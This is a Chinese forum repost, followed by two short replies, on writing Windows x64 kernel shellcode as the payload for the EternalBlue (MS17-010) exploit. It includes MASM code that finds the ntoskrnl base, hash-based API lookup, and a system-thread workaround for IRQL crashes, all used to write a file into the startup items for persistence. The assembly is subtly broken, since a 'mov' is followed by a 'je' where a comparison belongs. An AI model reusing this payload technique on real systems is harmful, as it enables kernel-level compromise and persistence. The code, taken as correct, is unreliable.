查看: 103|回复: 2

[转载图文] 编写Windows Kernel Shellcode

[复制链接]

29

主题

37

帖子

1

精华

VIP

Rank: 16

学币
360
荣耀
0
rank
200
违规
0

鬼斧神工

发表于 2020-5-25 11:56:54 | 显示全部楼层 |阅读模式
  网上流传的永恒之蓝漏洞利用代码中,关于内核shellcode部分,大部分都是利用APC注入的。
  最近有个想法,直接利用内核代码执行权限,来写文件,于是就抄起了VS,开始写shellcode,开始以为和R3下面写shellcode一样简单。
  新建个驱动的项目,按照下面修改项目的属性,然后动态获取API,再调API完成自己的功能。
  // C/C++
  // |-常规
  // | |-调试信息格式:程序数据库(/Zi)
  // | *-SDL检查:否(/sdl-)
  // |-优化
  // | |-优化:使大小最小化(/01)
  // | |-内联函数扩展:已禁用(/0b0)
  // | |-启用内部函数:否
  // | |-优选大小或者速度:代码大小优先(/0s)
  // | *-全程序优化:是(/GL)
  // |-代码生成
  // | |-基本运行时检查:默认值
  // | |-安全检查:禁用安全检查(/GS-)
  // | *-启用函数级连接:是(-Gy)
  // 连接器
  // |-常规
  // | *-启用增量连接:否(/INCREMENTAL:NO)
  // |-调试
  // | |-生成映射文件:是(/MAP)
  // | *-映射文件名:mapfile
  // *- 优化
  // |-引用:是(/OPT:REF)
  // |-启用COMDAT折叠:是(/OPT:ICF)
  // *-函数顺序:FunctionOrder.txt
  // -[注:FunctionOrder.txt控制编译器按照指定顺序将COMDAT放到映像文件中]
  项目属性配置好以后,开始写shellcode,计算要使用的内核API的名称hash,为了方便计算,我写了一个简单的MFC程序。

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  问题一:获取windows7 x64 nt基址
  刚开始遇到的第一个问题就是如何获取nt的基址,在内核中所有api都是从ntoskrnl.exe中导出的。
  参考这个git项目 https://github.com/worawit/MS17-010.git,里面有内核shellcode的asm文件,文件中有获取nt基址的部分。
  但是这个asm文件是NASM的语法,导致我用vs直接编译不了,还需要弄个nasm的编译环境。
  最后我修改为MASM版本,最终得到的获取ntoskrnl.exe基址的MASM汇编如下:
  .CODE
  PUBLIC _getNtBase
  _getNtBase PROC
  push rbx
  mov rax,QWORD PTR gs:[038h]
  mov rax,QWORD PTR[rax+04h]
  shr rax,0Ch
  shl rax,0Ch
  _find_nt_walk_page:
  mov rbx,QWORD PTR[rax]
  mov bx,05A4Dh
  je _found
  sub rax,1000h
  jmp _find_nt_walk_page
  _found:
  pop rbx
  ret
  _getNtBase ENDP
  END
  https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。
  把以上代码保存为demo.asm,添加到创建的vs驱动项目中,右键该文件,选择属性,修改项类型为: Mircrosoft Macro Assembler。

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  这段汇编代码,导出了一个名为_getNtBase的函数,在vs项目中使用这个函数,需要用extern声明一下才能使用。
  extern HMODULE _getNtBase();
  问题二:VS编译64位平台汇编文件
  然后开始编译我的vs项目,在编译时,又遇到第二个问题: vs项目中的指定函数编译顺序的FunctionOrder.txt,对这个asm中的函数不起作用。
  Address Publics by Value Rva+Base Lib:Object
  0000:00000000 ___safe_se_handler_table 0000000000000000 <absolute>
  0000:00000000 __guard_fids_count 0000000000000000 <absolute>
  0000:00000000 __guard_flags 0000000000000000 <absolute>
  0000:00000000 ___safe_se_handler_count 0000000000000000 <absolute>
  0000:00000000 __guard_fids_table 0000000000000000 <absolute>
  0001:00000000 Entry 0000000140001000 f main.obj
  0001:00000048 EntryPoint 0000000140001048 f main.obj
  0001:00000354 Hash_CmpString 0000000140001354 f main.obj
  0001:00000378 GetFunAddrByHash 0000000140001378 f main.obj
  0001:00000420 Unload 0000000140001420 f main.obj
  0001:00000430 DriverEntry 0000000140001430 f main.obj
  0001:00000470 _getNtBase 0000000140001470 f demo.obj // <---- here
  0001:0000049a __C_specific_handler 000000014000149a f ntoskrnl:ntoskrnl.exe
  无论我怎么调整顺序,这个_getNtBase函数永远排在main.obj中所有函数后面,这意味着,我在提取shellcode时,必须把一些main.obj中无用的函数也提取上。
  最后我的解决办法也很粗暴,先用masm编译这个demo.asm, 拿到二进制机器码,再拼后面直接拼接我的shellcode..
  这个demo.asm获取nt基址的代码执行完,结果最终放在rax中。
  问题三:IRQL级别
  IRQL级别问题,这个也是卡了我时间最久的,我的shellcode思路如下:
  1.获取需要的api
  2.初始化需要的字符串
  3.调用IoCreateFile
  4.ZwWriteFile
  5.ZwClose
  以上思路用VS写,直接编译成驱动后,安装并运行,测试功能ok!
  然后我用IDA提取shellcode,使用windbg强制改RIP,跳转到我shellcode中执行。
  参考一位同事写的一篇笔记《内核调试shellcode》:
  https://www.cnblogs.com/goabout2/p/7875372.html
  强改RIP后,shellcode前面部分执行ok,但是执行IoCreateFile这个函数的时候,就蓝屏。 一直中断到内核函数内部。

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  上面windbg断下后,看起来是rax取到了错误的值导致的,甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数。
  经过分析,排除是参数的问题,因为前面我写完shellcode,直接编译成驱动文件,安装执行,功能都ok的。
  怀疑是IRQL级的问题,使用!irql命令可以查询处理器的IRQL级别,漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL。
  而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。
  为了测试,是不是IRQL造成的,我尝试强制在shellcode调用IoCreateFile前面,添加一个降级的代码,如下所示:
  // 获取当前IRQL级别
  KIRQL CurrentIRQL = My_KeGetCurrentIrql();
  // 修改当前IRQL级别为PASSIVE
  if (CurrentIRQL > PASSIVE_LEVEL)
  {
  My_KeLowerIrql(PASSIVE_LEVEL);
  }
  My_KeGetCurrentIrql();
  再次调试分析,并查询降级后的IRQL级别,确认为LOW_LEVEL了,也就是PASSIVE级别。

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  无奈,运行到IoCreateFile,还是蓝屏了。
  分析蓝屏信息,结果还是说我IRQL级别为2,说明我那个修改不生效!

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  不能主动降IRQL级别,除非这个级别是手动提升的。
  经过参考一些资料,如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码:
  https://community.osr.com/discussion/235732
  https://bbs.pediy.com/thread-84588.htm
  https://www.oipapio.com/cn/article-6485155
  https://blog.csdn.net/liyun123gx/article/details/30500703
  经过一番查找资料,大家都是推荐创建一个内核线程来做的,于是我就将shellcode最开始的代码改成了创建内核线程。
  VOID Entry()
  {
  HMODULE hKeyModule = getNtBase();
  typedef NTSTATUS(*PtrPsCreateSystemThread)(
  _Out_ PHANDLE ThreadHandle,
  _In_ ULONG DesiredAccess,
  _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
  _In_opt_ HANDLE ProcessHandle,
  _Out_opt_ PCLIENT_ID ClientId,
  _In_ PKSTART_ROUTINE StartRoutine,
  _In_opt_ PVOID StartContext
  );
  PtrPsCreateSystemThread My_PsCreateSystemThread = (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
  HANDLE hThread;
  My_PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint, hKeyModule);
  }
  在EntryPoint函数中执行我IoCreatefile的一些操作!! 终于这一次不蓝屏了,文件成功被写入了启动项!!!

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
  另外分享一份关于编写内核shellcode的资料,感觉很有用!
  http://uninformed.org/index.cgi?v=3&a=4

编写Windows Kernel Shellcode

编写Windows Kernel Shellcode



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
嘿嘿

0

主题

185

帖子

0

精华

解密专家

Rank: 16

学币
495
荣耀
0
rank
0
违规
0

神出鬼没

    发表于 2020-5-25 21:15:52 | 显示全部楼层
    太给力了,这么多好东西!
    学逆向论坛-免费的逆向学习论坛

    0

    主题

    21

    帖子

    0

    精华

    初级会员

    Rank: 4

    学币
    12
    荣耀
    0
    rank
    0
    违规
    0

      发表于 2020-7-1 01:13:00 | 显示全部楼层
      看了LZ的帖子,我只想说一句很好很强大!
      学逆向论坛-免费的逆向学习论坛
      微信公众号
      快速回复 返回顶部 返回列表